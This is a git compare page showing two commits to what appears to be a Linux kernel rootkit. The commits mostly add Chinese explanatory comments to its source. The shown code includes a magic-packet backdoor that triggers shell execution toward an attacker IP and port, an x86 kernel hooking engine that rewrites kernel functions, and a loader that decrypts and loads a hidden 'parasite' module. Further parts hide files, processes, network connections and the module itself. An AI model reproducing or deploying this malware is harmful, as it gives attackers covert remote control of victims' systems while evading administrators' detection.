Compare commits

..

2 Commits

Author SHA1 Message Date
waiwai 0b5f28d2b0 zrs 11.20 label
1 week ago
waiwai 14e548cace add read.docx
1 month ago

@ -0,0 +1,3 @@
{
"Codegeex.RepoIndex": true
}

@ -1,4 +1,3 @@
//后门程序,用于监听特定的网络数据包,并根据数据包的内容执行指定的命令
#include <linux/string.h>
#include <linux/version.h>
#include <linux/net.h>
@ -17,7 +16,7 @@ struct shell_task {
char *ip;
char *port;
};
//命令执行
void shell_execer(struct work_struct *work)
{
struct shell_task *task = (struct shell_task *)work;
@ -29,7 +28,7 @@ void shell_execer(struct work_struct *work)
kfree(task->port);
kfree(task);
}
//添加任务到命令执行队列
int shell_exec_queue(char *ip, char *port)
{
struct shell_task *task;
@ -59,7 +58,7 @@ int shell_exec_queue(char *ip, char *port)
#define DROP 0
#define ACCEPT 1
//解析攻击方发送的网络数据包,并根据特定条件执行命令
unsigned int magic_packet_parse(struct sk_buff *socket_buffer)
{
const struct iphdr *ip_header;

@ -1,4 +1,3 @@
//判断文件夹是否隐藏
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/string.h>

@ -1,4 +1,3 @@
////使用给定的十六进制密钥对文件内容进行加密
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

@ -1,4 +1,3 @@
//判断文件是否隐藏
#include <linux/uaccess.h>
#include <linux/slab.h>

@ -1,99 +1,132 @@
//内核级别的挂钩hook机制主要用于在Linux内核中动态修改函数行为
#include "internal.h"
static khook_stub_t *khook_stub_tbl = NULL;
////////////////////////////////////////////////////////////////////////////////
//通过内核符号表查找目标函数的地址
/*
* callback function
* dataname
* dataaddr1
* 0
*/
static int khook_lookup_cb(long data[], const char *name, void *module, long addr)
{
int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++]) return !!(data[1] = addr);
} return 0;
int i = 0;
while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++]) return !!(data[1] = addr); // 找到匹配的符号设置地址并返回1
}
return 0; // 未找到匹配的符号返回0
}
/*
* kallsyms_on_each_symbol
* data[0]
* data[1]
* kernel all symbols
*/
static void *khook_lookup_name(const char *name)
{
long data[2] = { (long)name, 0 };
kallsyms_on_each_symbol((void *)khook_lookup_cb, data);
return (void *)data[1];
return (void *)data[1]; // 返回找到的符号地址
}
//将目标函数地址映射为可写内存,以便修改其代码
/*
* [addr, addr + len]
*/
static void *khook_map_writable(void *addr, size_t len)
{
struct page *pages[2] = { 0 }; // len << PAGE_SIZE
long page_offset = offset_in_page(addr);
int i, nb_pages = DIV_ROUND_UP(page_offset + len, PAGE_SIZE);
addr = (void *)((long)addr & PAGE_MASK);
addr = (void *)((long)addr & PAGE_MASK); // 对齐地址到页面边界
for (i = 0; i < nb_pages; i++, addr += PAGE_SIZE) {
if ((pages[i] = is_vmalloc_addr(addr) ?
vmalloc_to_page(addr) : virt_to_page(addr)) == NULL)
return NULL;
return NULL; // 如果无法获取页面返回NULL
}
addr = vmap(pages, nb_pages, VM_MAP, PAGE_KERNEL);
return addr ? addr + page_offset : NULL;
addr = vmap(pages, nb_pages, VM_MAP, PAGE_KERNEL); // 映射页面到内核地址空间
return addr ? addr + page_offset : NULL; // 返回映射后的地址
}
////////////////////////////////////////////////////////////////////////////////
#ifdef CONFIG_X86
# include "x86/hook.c"
# include "x86/hook.c" // 包含x86架构相关的钩子实现
#else
# error Target CPU architecture is NOT supported !!!
# error Target CPU architecture is NOT supported !!! // 不支持的CPU架构
#endif
////////////////////////////////////////////////////////////////////////////////
//挂钩唤醒
/*
*
*/
static void khook_wakeup(void)
{
struct task_struct *p;
rcu_read_lock();
for_each_process(p) {
wake_up_process(p);
wake_up_process(p); // 唤醒进程
}
rcu_read_unlock();
}
//初始化和清理挂钩
/*
*
*/
static int khook_sm_init_hooks(void *arg)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr_map) continue;
khook_arch_sm_init_one(p);
khook_arch_sm_init_one(p); // 初始化单个钩子
}
return 0;
}
/*
*
*/
static int khook_sm_cleanup_hooks(void *arg)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr_map) continue;
khook_arch_sm_cleanup_one(p);
khook_arch_sm_cleanup_one(p); // 清理单个钩子
}
return 0;
}
/*
*
*/
static void khook_resolve(void)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
p->target.addr = khook_lookup_name(p->target.name);
p->target.addr = khook_lookup_name(p->target.name); // 查找符号地址
}
}
/*
*
*/
static void khook_map(void)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr) continue;
p->target.addr_map = khook_map_writable(p->target.addr, 32);
p->target.addr_map = khook_map_writable(p->target.addr, 32); // 映射地址
khook_debug("target %s@%p -> %p\n", p->target.name, p->target.addr, p->target.addr_map);
}
}
/*
*
*/
static void khook_unmap(int wait)
{
khook_t *p;
@ -101,17 +134,25 @@ static void khook_unmap(int wait)
khook_stub_t *stub = KHOOK_STUB(p);
if (!p->target.addr_map) continue;
while (wait && atomic_read(&stub->use_count) > 0) {
khook_wakeup();
msleep_interruptible(1000);
khook_wakeup(); // 唤醒进程
msleep_interruptible(1000); // 休眠1秒
khook_debug("waiting for %s...\n", p->target.name);
}
vunmap((void *)((long)p->target.addr_map & PAGE_MASK));
vunmap((void *)((long)p->target.addr_map & PAGE_MASK)); // 取消映射
p->target.addr_map = NULL;
}
}
////////////////////////////////////////////////////////////////////////////////
/* khook_init()和khook_cleanup()对挂钩引擎进行初始化和注销 */
/*
*
* 1. mallocstub
* 2. khook_resolve
* 3.
* 4. stop_machine
*/
int khook_init(void)
{
void *(*malloc)(long size) = NULL;
@ -136,19 +177,26 @@ int khook_init(void)
set_memory_x((unsigned long)khook_stub_tbl, numpages);
}
khook_resolve();
khook_resolve(); // 解析符号表
khook_map();
stop_machine(khook_sm_init_hooks, NULL, NULL);
khook_unmap(0);
khook_map(); // 映射地址
stop_machine(khook_sm_init_hooks, NULL, NULL); // 初始化钩子
khook_unmap(0); // 取消映射
return 0;
}
/*
*
* 1.
* 2. stop_machine
* 3.
* 4.
*/
void khook_cleanup(void)
{
khook_map();
stop_machine(khook_sm_cleanup_hooks, NULL, NULL);
khook_unmap(1);
vfree(khook_stub_tbl);
khook_map(); // 映射地址
stop_machine(khook_sm_cleanup_hooks, NULL, NULL); // 清理钩子
khook_unmap(1); // 取消映射
vfree(khook_stub_tbl); // 释放内存
}

@ -4,6 +4,15 @@
#define KHOOK_F_NOREF (1UL << 0) // don't do auto ref-count
/*
*
* fn
* name
* addr
* addr_map
* orig
*/
typedef struct {
void *fn; // handler fn address
struct {
@ -15,6 +24,13 @@ typedef struct {
unsigned long flags; // hook engine options (flags)
} khook_t;
/*
* funfunkhook_fun
*
* __attribute__((unused)
* __attribute__((aligned(1)))
* __attribute__((section(".data.khook"))).data.khook
*/
#define KHOOK_(t, f) \
static inline typeof(t) khook_##t; /* forward decl */ \
khook_t \

@ -6,3 +6,8 @@ SECTIONS
KHOOK_tbl_end = . ;
}
}
In engine.c, all hooks are allocated to the .data.khook section.
The above script means that all contents of .data.khook are placed in the .data section.
The '.' character represents the current location counter, so KHOOK_tbl points to the beginning of .data.khook, and KHOOK_tbl_end points to the end of KHOOK_tbl_end.
These two variables represent the start and end addresses of the hook table, KHOOK_tbl and KHOOK_tbl_end.

@ -20,6 +20,11 @@ extern khook_t KHOOK_tbl_end[];
#define KHOOK_FOREACH_HOOK(p) \
for (p = KHOOK_tbl; p < KHOOK_tbl_end; p++)
/*
* STUB
* STUBstub.incstub32.incstub
*
*/
typedef struct {
#pragma pack(push, 1)
union {

@ -1,4 +1,3 @@
//内核中实现x86架构下的函数钩子hook
#include "../internal.h"
////////////////////////////////////////////////////////////////////////////////
@ -7,11 +6,19 @@
#include <asm/insn.h>
/*
* typeof GCC
*
*
*/
static struct {
typeof(insn_init) *init;
typeof(insn_get_length) *get_length;
} khook_arch_lde;
//初始化长度解析引擎
/*
* insn_init insn_get_length
*/
static inline int khook_arch_lde_init(void) {
khook_arch_lde.init = khook_lookup_name("insn_init");
if (!khook_arch_lde.init) return -EINVAL;
@ -19,7 +26,12 @@ static inline int khook_arch_lde_init(void) {
if (!khook_arch_lde.get_length) return -EINVAL;
return 0;
}
//获取指令长度
/*
* p
* insn_initinsn
* get_lengthinsnlength
*/
static inline int khook_arch_lde_get_length(const void *p) {
struct insn insn;
int x86_64 = 0;
@ -36,37 +48,43 @@ static inline int khook_arch_lde_get_length(const void *p) {
}
////////////////////////////////////////////////////////////////////////////////
//插入跳转指令
// place a jump at addr @a from addr @f to addr @t
static inline void x86_put_jmp(void *a, void *f, void *t)
{
*((char *)(a + 0)) = 0xE9;
*(( int *)(a + 1)) = (long)(t - (f + 5));
*((char *)(a + 0)) = 0xE9; //跳转指令的Opcode
*(( int *)(a + 1)) = (long)(t - (f + 5)); //偏移计算
}
static const char khook_stub_template[] = {
# include KHOOK_STUB_FILE_NAME
};
//修复函数钩子中的占位符,
static inline void stub_fixup(void *stub, const void *value) {
while (*(int *)stub != 0xcacacaca) stub++;
*(long *)stub = (long)value;
}
//初始化单个钩子
/*
*
* 使
* 便
*/
static inline void khook_arch_sm_init_one(khook_t *hook) {
khook_stub_t *stub = KHOOK_STUB(hook);
// 跳转指令的第一个字节是0xE9或0xCC表示已经被hook过了
if (hook->target.addr[0] == (char)0xE9 ||
hook->target.addr[0] == (char)0xCC) return;
BUILD_BUG_ON(sizeof(khook_stub_template) > offsetof(khook_stub_t, nbytes));
memcpy(stub, khook_stub_template, sizeof(khook_stub_template));
memcpy(stub, khook_stub_template, sizeof(khook_stub_template)); // 拷贝模板到stub中
stub_fixup(stub->hook, hook->fn);
while (stub->nbytes < 5)
stub->nbytes += khook_arch_lde_get_length(hook->target.addr + stub->nbytes);
memcpy(stub->orig, hook->target.addr, stub->nbytes);
x86_put_jmp(stub->orig + stub->nbytes, stub->orig + stub->nbytes, hook->target.addr + stub->nbytes);
memcpy(stub->orig, hook->target.addr, stub->nbytes); // 拷贝hook原函数到stub的orig中
x86_put_jmp(stub->orig + stub->nbytes, stub->orig + stub->nbytes, hook->target.addr + stub->nbytes); // 设置跳转
if (hook->flags & KHOOK_F_NOREF) {
x86_put_jmp(hook->target.addr_map, hook->target.addr, hook->fn);
} else {
@ -74,7 +92,11 @@ static inline void khook_arch_sm_init_one(khook_t *hook) {
}
hook->orig = stub->orig; // the only link from hook to stub
}
//清理单个钩子
/*
*
*
*/
static inline void khook_arch_sm_cleanup_one(khook_t *hook) {
khook_stub_t *stub = KHOOK_STUB(hook);
memcpy(hook->target.addr_map, stub->orig, stub->nbytes);

@ -1,4 +1,3 @@
//内核模块的初始化
#include <linux/kallsyms.h>
#include <linux/kernel.h>
#include <linux/module.h>
@ -10,6 +9,7 @@
#include "encrypt.h"
// 定义 SYS_INIT_MODULE 宏,用于生成 "sys_init_module" 字符串
#define SYS_INIT_MODULE \
({ \
unsigned int *p = __builtin_alloca(16); \
@ -20,6 +20,7 @@
(char *)p; \
})
// 定义 __DO_SYS_INIT_MODULE 宏,用于生成 "__do_sys_init_module" 字符串
#define __DO_SYS_INIT_MODULE \
({ \
unsigned int *p = __builtin_alloca(24); \
@ -32,35 +33,44 @@
(char *)p; \
})
// 包含 parasite_blob.inc 文件中的数据
static char parasite_blob[] = {
#include "parasite_blob.inc"
};
// 内核符号表查找函数的回调函数
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module,
unsigned long addr)
{
int i = 0;
while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++])
return !!(data[1] = addr);
return !!(data[1] = addr); // 找到匹配的符号设置地址并返回1
}
return 0;
return 0; // 未找到匹配的符号返回0
}
// 查找符号表中的符号地址
static inline unsigned long ksym_lookup_name(const char *name)
{
unsigned long data[2] = {(unsigned long)name, 0};
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);
return data[1];
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); // 实现在khook/engine.c中
return data[1]; // 返回找到的符号地址
}
/*
* init_modulesys_init_module
* ksym_lookup_name
*/
int init_module(void)
{
int ret = -EINVAL;
asmlinkage long (*sys_init_module)(const void *, unsigned long, const char *) = NULL;
// 解密 parasite_blob 数据
do_decrypt(parasite_blob, sizeof(parasite_blob), DECRYPT_KEY);
// 查找 sys_init_module 函数的地址
sys_init_module = (void *)ksym_lookup_name(SYS_INIT_MODULE);
if (!sys_init_module)
@ -70,16 +80,21 @@ int init_module(void)
const char *nullarg = parasite_blob;
unsigned long seg = user_addr_max();
// 找到 parasite_blob 中的空字符
while (*nullarg)
nullarg++;
// 设置用户地址空间的最大值
user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE);
if(sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg) == 0) ret = -37; // would be 1337, but is too obvious. hahaha
user_addr_max() = seg;
user_addr_max() = seg; // 恢复用户地址空间的最大值
}
return ret;
}
/*
*
*/
MODULE_LICENSE("GPL");
MODULE_INFO(intree, "Y");

@ -1,4 +1,3 @@
//加载所需模块
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>

@ -1,4 +1,3 @@
//内核模块隐藏
#include <linux/module.h>
#include <linux/mutex.h>
#include <linux/slab.h>

@ -1,4 +1,3 @@
//网络地址隐藏
#include <linux/version.h>
#include <linux/inet.h>
#include <linux/netlink.h>

@ -1,4 +1,3 @@
//进程隐藏
#include <linux/version.h>
#include <linux/uaccess.h>
#include <linux/ctype.h>
@ -15,7 +14,7 @@
#endif
#include "proc.h"
//根据给定的进程ID (pid) 和标志位设置 (set) 来修改进程及其线程的标志位
int flag_tasks(pid_t pid, int set)
{
int ret = 0;
@ -69,7 +68,7 @@ struct task_struct *find_task(pid_t pid)
return ret;
}
//判断指定进程号进程是否可见
int is_proc_invisible(pid_t pid)
{
struct task_struct *task;
@ -88,7 +87,7 @@ int is_proc_invisible(pid_t pid)
put_task_struct(task);
return ret;
}
//解析文件名->pid -> is_proc_invisible(pid)
int is_proc_invisible_2(const char __user *filename)
{
int ret = 0, i, argc, is_num = 1;

@ -1,4 +1,3 @@
//获取命令行参数,转为可打印的字符
#include "string_helpers.h"
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 7, 0)

@ -1,4 +1,3 @@
//访问和操作进程的命令行参数
#include <linux/kmod.h>
#include <linux/kallsyms.h>
#include <linux/types.h>

Loading…
Cancel
Save